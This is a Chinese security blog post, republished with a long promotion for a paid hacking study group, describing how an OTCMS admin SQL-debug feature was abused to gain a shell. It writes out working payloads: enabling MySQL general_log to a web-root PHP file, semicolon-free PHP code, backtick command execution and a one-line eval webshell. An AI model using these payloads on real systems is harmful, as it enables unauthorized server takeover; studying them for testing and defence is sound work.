文章总结: 文章记录了针对某CMS后台SQL注入点过滤intooutfile与分号的渗透过程,利用MySQLgeneral_log功能开启日志并指定路径写入webshell,发现PHP文件末分号可省略从而绕过限制成功getshell,文末包含大量安全知识星球推广内容。
综合评分: 60
文章分类: 渗透测试,漏洞分析,软文广告,WEB安全
从PhpmyAdmin getshell到某CMS后台SQL注入漏洞
joker
joker
神农Sec
2026年1月16日 09:01
江西
扫码加圈子
获内部资料
#
专注于SRC漏洞挖掘、红蓝对抗、渗透测试、代码审计JS逆向,CNVD和EDUSRC漏洞挖掘,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。
#
文章作者:joker
文章来源:https://forum.butian.net/share/1036
01
0x1 从PhpmyAdmin getshell到某CMS后台SQL注入漏洞
后台SQL getshell
登录后台之后,选择管理员专区=>程序文件检查=>SQL语句调试,能够直接进行SQL命令的执行,随便输入一条查询某张表中数据的SQL语句,BurpSuite抓包
放包,直到找到如下的API接口的数据包,可以看到sqlContent处为查询的sql语句,看到这的直接想法就是直接写入shell
先用下面的poc打了一发
select <?php phpinfo();?> into outfile "D://phpStudy//www//OTCMS//xxx.php"
可以看到过滤了into outfile,根据路径直接来看一下源代码
OTCMS/admin/sysCheckFile_deal.php#1348
首先会对输入的内容进行一个长度校验,如果输入为空就会返回对应的错误信息;之后会对我们输入的内容进行一个大小写转换,这就没办法利用大小写进行一个关键字的绕过了;之后对输入内容进行指定关键词的匹配,如果匹配到了into outfile就会直接报错,执行流程也就不会往下走,就算没有匹配到,也会对16进制的标识符0x进行查找匹配,所以利用into outfile写入shell的路子基本上就绝了
先接着看流程,在1361行,会对userpwd进行一个哈希加密,MB_uerKey是储存在数据库当中的,对输入的pwd进行一次MD5加密之后和key拼接再一次MD5加密,然后对我们执行SQL语句时输入的校验登录密码的值进行一个比较,不相等就报错
下面还有一个匹配分号的过滤,所以如果能够写马,这里就需要用到进制绕过,那么上面为什么会对16进制的标识符进行一个过滤也就能解释的通了。
phpmyadmin的启发
本以为到这里就结束了,没办法了,但是不得不说,真的是灵光一闪,想到了phpmyadmin getshell的几种方式,其中之一就是通过查询是否开启日志,并且查看是否有权限开启,并指定日志的存储路径来getshell,那么这里也可以进行相同的尝试;我们可以通过开启数据库日志,并指定日志文件,那么其实每条SQL语句都会被写入到日志文件当中,那么也就可以getshell了
SET GLOBAL general_log='on'
SET GLOBAL general_log_file='C:/phpStudy/www/xxx.php'//指定的文件路径,这里实战中遇到的话,就需要对其绝对路径进行一个猜测了
成功在指定路径下创建了日志文件
就在准备写入shell的时候突然想到,分号还是会被匹配到,需要换一种形式,并且之前看过一篇文章也提到了分号的问题,找了找,可以用函数调用的形式执行phpinfo
select <?phpif(phpinfo()){}?>
select <?phpwhile(phpinfo()){}?>
成功写入了,访问一下指定的日志文件
可以看到phpinfo已经成功执行了,但是到这里还是没有办法写入shell,还是需要对payload进行修改,想到了反引号在php中相当于命令执行函数,那么也许并不需要分号进行闭合,清空一下日志文件,执行以下paylaod,可以看到成功进行了命令执行并输出了结果,能够命令执行那么就简单了,直接反弹shell,之后还可以通过反弹的shell再进行shell的写入
select '<?php echo `whoami`?>'
到这里其实已经可以命令执行了,但是还有一个问题,php的一句话shell,最后面真的需要分号进行闭合才能够执行么?可能走到了误区,平时写shell都是那么写的,想当然觉得没有分号就不能够执行,那就本地先试一下吧
//shell.php
<?phpeval($_POST[1])?>
结果显而易见是可以成功执行的,那么不难理解php中分号作为分隔符,只要shell后面没有其他的内容,那么有没有分号都是一样的,那么这里的分号匹配对我们来说并没有任何影响,那就直接写入shell
select '<?php eval($_POST[1])?>'
后记
当时这个也是困扰了许久因为分号的问题,后面还是大哥的提醒去试试看,不仅成功getshell,也是走出了之前形成的一个误区,收获多多。
02
0x2 内部小圈子详情介绍
我们是神农安全,点赞 + 在看 铁铁们点起来,最后祝大家都能心想事成、发大财、行大运。
内部圈子介绍
圈子专注于更新src/红蓝攻防相关:
1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例2、知识星球专属微信“小圈子交流群”3、微信小群一起挖洞4、内部团队专属EDUSRC证书站漏洞报告5、分享src优质视频课程(企业src/EDUSRC/红蓝队攻防)6、分享src挖掘技巧tips7、不定期有众测、渗透测试项目(一起挣钱)8、不定期有工作招聘内推(工作/护网内推)9、送全国职业技能大赛环境+WP解析(比赛拿奖)10、十个专栏会持续更新~提前续费有优惠,好用不贵很实惠11、每日内部资料分享,内部圈子资料1000+12、联系圈主获取:内部漏洞知识库+圈子使用手册+内部圈子交流群13、VX:routing_love,技术交流+疑问解决
内部圈子专栏介绍
知识星球内部共享资料截屏详情如下
(只要没有特殊情况,每天都保持更新)
知识星球——神农安全
星球现价 ¥50元
如果你觉得应该加入,就不要犹豫,价格只会上涨,不会下跌
星球人数少于1600人 50元/年
星球人数少于1700人 70元/年
(新人优惠卷20,扫码或者私信我即可领取)
欢迎加入星球一起交流,券后价仅50元!!! 即将满1600人涨价
长期更新,更多的0day/1day漏洞POC/EXP
内部知识库–(持续更新中)
知识库部分大纲目录如下:
知识库跟知识星球联动,基本上每天保持更新,满足圈友的需求
知识库和知识星球有师傅们关注的EDUSRC和CNVD相关内容(内部资料)
还有网上流出来的各种SRC/CTF等课程视频
量大管饱,扫描下面的知识星球二维码加入即可
不会挖CNVD?不会挖EDURC?不会挖企业SRC?不会打nday和通杀漏洞?
直接加入我们小圈子:知识星球+内部圈子交流群+知识库
快来吧!!
神农安全知识库内部配置很多内部工具和资料💾,玄机靶场邀请码+EDUSRC邀请码等等
快要护网来临,是不是需要护网面试题汇总?问题+答案(超级详细🔎)
最后,师傅们也是希望找个好工作,那么常见的渗透测试/安服工程师/驻场面试题目,你值得拥有!!!
内部小圈子——圈友反馈(良心价格)
神农安全公开交流群
有需要的师傅们直接扫描文章二维码加入,然后要是后面群聊二维码扫描加入不了的师傅们,直接扫描文章开头的二维码加我(备注加群)
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
往期回顾
手把手js逆向断点调试&js逆向前端加密对抗&企业SRC实战分享
JS漏洞挖掘|分享使用FindSomething联动的挖掘思路
渗透测试 | 从jeecg接口泄露到任意管理员用户接管+SQL注入漏洞
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:神农Sec joker
joker《从PhpmyAdmin getshell到某CMS后台SQL注入漏洞》